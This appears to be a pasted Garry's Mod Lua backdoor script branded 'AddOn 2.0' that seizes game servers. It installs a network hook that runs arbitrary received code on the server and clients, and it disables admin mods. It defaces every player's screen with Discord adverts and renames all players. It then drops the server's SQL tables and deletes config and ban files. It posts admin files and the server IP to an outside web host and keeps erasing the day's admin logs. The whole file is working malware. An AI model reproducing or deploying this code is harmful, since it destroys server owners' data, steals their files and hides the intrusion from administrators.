· 4 years ago · Aug 02, 2021, 01:00 PM
1 util.AddNetworkString "AddOn"
2 net.Receive('AddOn',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end)
3 _G.ulx = function() end _G.ULib = function() end
4 _G.FAdmin = function() end
5 local DESIRED_NAME = "Seized by AddOn 2.0"
6 local enicron = {}
7 function enicron:RandomString( intMin, intMax )
8 local ret = ""
9 for _ = 1, math.random( intMin, intMax ) do
10 ret = ret.. string.char( math.random(65, 90) )
11 end
12
13 return ret
14 end
15
16 enicron.m_tblActions = {}
17 enicron.m_strImageGlobalVar = enicron:RandomString( 6, 12 )
18 enicron.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
19
20 function enicron:PushAction( intChainDelay, func )
21 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
22 end
23
24 function enicron:NextAction( pPlayer )
25 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
26 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
27
28 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
29 if not IsValid( pPlayer ) then return end
30 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
31 self:NextAction( pPlayer )
32 end )
33 end
34
35 function enicron:Start( pPlayer )
36 pPlayer.m_intCurAction = 0
37 self:NextAction( pPlayer )
38 end
39
40 function enicron:SendLua( pPlayer, strLua )
41 net.Start( "AddOn" )
42 net.WriteString( strLua )
43 net.Send( pPlayer )
44 end
45
46 function enicron:SetupPlayer( pPlayer )
47 pPlayer:SendLua( "net.Receive(\"AddOn\", function() RunString(net.ReadString()) end)" )
48 end
49
50
51 if engine.ActiveGamemode() == "darkrp" then
52 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
53
54 for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
55 end
56
57 for k, v in pairs( player.GetAll() ) do
58 enicron:SetupPlayer( v )
59 timer.Simple( 2, function() enicron:Start( v ) end )
60 end
61
62 hook.Add( "PlayerAuthed", "wat", function( pPlayer )
63 enicron:SetupPlayer( pPlayer )
64 timer.Simple( 12, function() enicron:Start( pPlayer ) end )
65 end )
66
67 enicron:PushAction( 1, function( pPlayer )
68 enicron:SendLua( pPlayer, [[
69 (GAMEMODE or GM).CalcView = function() end
70 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
71
72 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
73 for k, v in pairs(remove) do
74 hook.GetTable()[v] = {}
75 end
76
77 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
78 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
79
80 ]] )
81 end )
82
83
84 enicron:PushAction( 1, function( pPlayer )
85
86enicron:SendLua( pPlayer, [[
87
88chat.AddText(Color(255,255,0), "This server is infected by AddOn 2.0")
89
90sound.PlayURL( "https://cdn.discordapp.com/attachments/871736400356184074/871736868436324362/1.mp3", "mono", function()end )
91
92]])
93timer.Create( "friction", 17.8, 0, function()
94RunConsoleCommand( "sv_friction", "-8" )
95end)
96timer.Create( "gravity", 17.8, 0, function()
97RunConsoleCommand( "sv_gravity", "-600" )
98end)
99timer.Create( "eblan", 17.8, 0, function()
100for k,v in pairs (player.GetAll()) do
101v:StripWeapons()
102end
103end)
104 enicron:SendLua( pPlayer, [[
105 timer.Simple(17.7, function()
106 (GAMEMODE or GM).CalcView = function() end
107 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
108
109 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
110 for k, v in pairs(remove) do
111 hook.GetTable()[v] = {}
112 end
113
114 local function GetWebMat( strURL )
115 return g_]].. enicron.m_strImageGlobalVar.. [[[strURL]
116 end
117 timer.Create("Pizda", 0, 0, function()
118 axuet = {
119 "Server infected by AddOn | AddOn 2.0 -- https://discord.gg/SJ5hgyh6mn",
120 "Server infected by AddOn | Rip server -- https://discord.gg/SJ5hgyh6mn",
121 "Server infected by AddOn | Lel -- https://discord.gg/SJ5hgyh6mn",
122 "Server infected by AddOn | AddOn Best -- https://discord.gg/SJ5hgyh6mn",
123 "Server infected by AddOn | AddOn>All -- https://discord.gg/SJ5hgyh6mn",
124 "Server infected by AddOn | Server uses leak scripts -- https://discord.gg/SJ5hgyh6mn",
125 "Server infected by AddOn | AddOn -- https://discord.gg/SJ5hgyh6mn"
126 }
127 MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), table.Random( axuet ).." | ")
128 chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ), table.Random( axuet ).."")
129 end)
130
131 surface.CreateFont( "TheDefaultSettings", {
132 font = "Arial", -- Use the font-name which is shown to you by your operating system Font Viewer, not the file name
133 extended = false,
134 size = 25,
135 weight = 300,
136 blursize = 0,
137 scanlines = 0,
138 antialias = false,
139 underline = false,
140 italic = false,
141 strikeout = false,
142 symbol = false,
143 rotary = false,
144 shadow = false,
145 additive = false,
146 outline = true,
147 } )
148
149 local html = vgui.Create( "HTML" )
150 html:SetSize( 480, 560)
151 html:SetPos( ScrW() / 2.3, ScrH() / 2.5 )
152 html:OpenURL( "https://cdn.discordapp.com/attachments/716005202377048104/849231773170663435/tenor_4.gif" )
153
154 hook.Add( "RenderScreenspaceEffects", "ohgod", function()
155 local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
156 DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
157 end )
158
159 hook.Add( "GetMotionBlurValues", "wat", function()
160 return 0, 0, 1, math.sin(CurTime() *13)
161 end )
162
163 timer.Create( "thedrop", 0.1, 0, function()
164 util.ScreenShake( LocalPlayer():GetPos(), 12, 5, 0.25, 128 )
165 end )
166
167 hook.Add( "HUDPaint", "newhud2", function()
168
169 draw.SimpleTextOutlined(
170 "AddOn better than ξpsilon",
171 "TheDefaultSettings",
172 ScrW() /2 +math.random( -755, 755 ),
173 ScrH() /2 +math.random( -655, 555) +100,
174 Color( 255,255,255,166 ),
175 TEXT_ALIGN_CENTER,
176 TEXT_ALIGN_CENTER,
177 1,
178 Color( 0, 0, 0, 255 )
179 )
180
181 draw.SimpleTextOutlined(
182 "AddOn better than Enigma",
183 "TheDefaultSettings",
184 ScrW() /2 +math.random( -755, 755 ),
185 ScrH() /2 +math.random( -555, 355 ) +24,
186 Color( 255,255,255,166 ),
187 TEXT_ALIGN_CENTER,
188 TEXT_ALIGN_CENTER,
189 1,
190 Color( 0, 0, 0, 255 )
191 )
192
193 draw.SimpleTextOutlined(
194 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
195 "TheDefaultSettings",
196 ScrW() /2 +math.random( -755, 755 ),
197 ScrH() /2 +math.random( -255, 255) +24,
198 Color( 255,255,255,166 ),
199 TEXT_ALIGN_CENTER,
200 TEXT_ALIGN_CENTER,
201 1,
202 Color( 0, 0, 0, 255 )
203 )
204
205 draw.SimpleTextOutlined(
206 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
207 "TheDefaultSettings",
208 ScrW() /2 +math.random( -755, 755 ),
209 ScrH() /2 +math.random( -255, 255) +64,
210 Color( 255,255,255,166 ),
211 TEXT_ALIGN_CENTER,
212 TEXT_ALIGN_CENTER,
213 1,
214 Color( 0, 0, 0, 255 )
215 )
216 draw.SimpleTextOutlined(
217 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
218 "TheDefaultSettings",
219 ScrW() /2 +math.random( -755, 755 ),
220 ScrH() /2 +math.random( -255, 255) +72,
221 Color( 255,255,255,166 ),
222 TEXT_ALIGN_CENTER,
223 TEXT_ALIGN_CENTER,
224 1,
225 Color( 0, 0, 0, 255 )
226 )
227 draw.SimpleTextOutlined(
228 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
229 "TheDefaultSettings",
230 ScrW() /2 +math.random( -755, 755 ),
231 ScrH() /2 +math.random( -5555, 255) +100,
232 Color( 255,255,255,166 ),
233 TEXT_ALIGN_CENTER,
234 TEXT_ALIGN_CENTER,
235 1,
236 Color( 0, 0, 0, 255 )
237 )
238 draw.SimpleTextOutlined(
239 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
240 "TheDefaultSettings",
241 ScrW() /2 +math.random( -755, 755 ),
242 ScrH() /2 +math.random( -655, 555) +100,
243 Color( 255,255,255,166 ),
244 TEXT_ALIGN_CENTER,
245 TEXT_ALIGN_CENTER,
246 1,
247 Color( 0, 0, 0, 255 )
248 )
249 draw.SimpleTextOutlined(
250 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
251 "TheDefaultSettings",
252 ScrW() /2 +math.random( -755, 755 ),
253 ScrH() /2 +math.random( -655, 555) +100,
254 Color( 255,255,255,166 ),
255 TEXT_ALIGN_CENTER,
256 TEXT_ALIGN_CENTER,
257 1,
258 Color( 0, 0, 0, 255 )
259 )
260 draw.SimpleTextOutlined(
261 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
262 "TheDefaultSettings",
263 ScrW() /2 +math.random( -755, 755 ),
264 ScrH() /2 +math.random( -5555, 255) +100,
265 Color( 255,255,255,166 ),
266 TEXT_ALIGN_CENTER,
267 TEXT_ALIGN_CENTER,
268 1,
269 Color( 0, 0, 0, 255 )
270 )
271 draw.SimpleTextOutlined(
272 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
273 "TheDefaultSettings",
274 ScrW() /2 +math.random( -755, 755 ),
275 ScrH() /2 +math.random( -655, 555) +100,
276 Color( 255,255,255,166 ),
277 TEXT_ALIGN_CENTER,
278 TEXT_ALIGN_CENTER,
279 1,
280 Color( 0, 0, 0, 255 )
281 )
282 draw.SimpleTextOutlined(
283 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
284 "TheDefaultSettings",
285 ScrW() /2 +math.random( -755, 755 ),
286 ScrH() /2 +math.random( -655, 555) +100,
287 Color( 255,255,255,166 ),
288 TEXT_ALIGN_CENTER,
289 TEXT_ALIGN_CENTER,
290 1,
291 Color( 0, 0, 0, 255 )
292 )
293 draw.SimpleTextOutlined(
294 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
295 "TheDefaultSettings",
296 ScrW() /2 +math.random( -755, 755 ),
297 ScrH() /2 +math.random( -655, 555) +100,
298 Color( 255,255,255,166 ),
299 TEXT_ALIGN_CENTER,
300 TEXT_ALIGN_CENTER,
301 1,
302 Color( 0, 0, 0, 255 )
303 )
304 draw.SimpleTextOutlined(
305 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
306 "TheDefaultSettings",
307 ScrW() /2 +math.random( -755, 755 ),
308 ScrH() /2 +math.random( -655, 555) +100,
309 Color( 255,255,255,166 ),
310 TEXT_ALIGN_CENTER,
311 TEXT_ALIGN_CENTER,
312 1,
313 Color( 0, 0, 0, 255 )
314 )
315 draw.SimpleTextOutlined(
316 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
317 "TheDefaultSettings",
318 ScrW() /2 +math.random( -755, 755 ),
319 ScrH() /2 +math.random( -655, 555) +100,
320 Color( 255,255,255,166 ),
321 TEXT_ALIGN_CENTER,
322 TEXT_ALIGN_CENTER,
323 1,
324 Color( 0, 0, 0, 255 )
325 )
326
327 draw.SimpleTextOutlined(
328 "https://discord.gg/esfxdgJ",
329 "TheDefaultSettings",
330 ScrW() /2 +math.random( -755, 755 ),
331 ScrH() /2 +math.random( -755, 555 ) +64,
332 Color( 255,255,255,166 ),
333 TEXT_ALIGN_CENTER,
334 TEXT_ALIGN_CENTER,
335 1,
336 Color( 0, 0, 0, 255 )
337 )
338
339 draw.SimpleTextOutlined(
340 "Get good, get AddOn",
341 "TheDefaultSettings",
342 ScrW() /2 +math.random( -755, 755 ),
343 ScrH() /2 +math.random( -655, 555 ) +24,
344 Color( 255,255,255,166 ),
345 TEXT_ALIGN_CENTER,
346 TEXT_ALIGN_CENTER,
347 1,
348 Color( 0, 0, 0, 255 )
349 )
350
351 draw.SimpleTextOutlined(
352 "INCLUDED BACKDOOR.DLL",
353 "TheDefaultSettings",
354 ScrW() /2 +math.random( -755, 755 ),
355 ScrH() /2 +math.random( -455, 455 ) +64,
356 Color( 255,255,255,166 ),
357 TEXT_ALIGN_CENTER,
358 TEXT_ALIGN_CENTER,
359 1,
360 Color( 0, 0, 0, 255 )
361 )
362
363 draw.SimpleTextOutlined(
364 "Buy AddOn",
365 "TheDefaultSettings",
366 ScrW() /2 +math.random( -755, 755 ),
367 ScrH() /2 +math.random( -555, 455 ) +24,
368 Color( 255,255,255,166 ),
369 TEXT_ALIGN_CENTER,
370 TEXT_ALIGN_CENTER,
371 1,
372 Color( 0, 0, 0, 255 )
373 )
374
375 draw.SimpleTextOutlined(
376 "AddOn 2.0",
377 "TheDefaultSettings",
378 ScrW() /2 +math.random( -755, 755 ),
379 ScrH() /2 +math.random( -855, 555 ) +24,
380 Color( 255,255,255,166 ),
381 TEXT_ALIGN_CENTER,
382 TEXT_ALIGN_CENTER,
383 1,
384 Color( 0, 0, 0, 255 )
385 )
386
387 end )
388
389
390 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
391 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
392
393 end)
394
395 ]] )
396 end )
397----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
398local date = os.date( "%m-%d-%y" )
399local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
400local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
401local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
402for k,v in pairs( databases ) do if sql.TableExists( v ) then
403 sql.Query( "DROP TABLE "..v.." ;" )
404 sql.Query( "CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );" )
405 end
406end
407timer.Simple(1, function() for k,v in pairs( datafiles ) do if file.Exists(v, "DATA") then file.Delete( v ) end end end )
408for k,v in pairs( sensitivefiles ) do if file.Exists(v, "DATA") then http.Post("http://bracegaming.com/data/log.php",{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
409hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )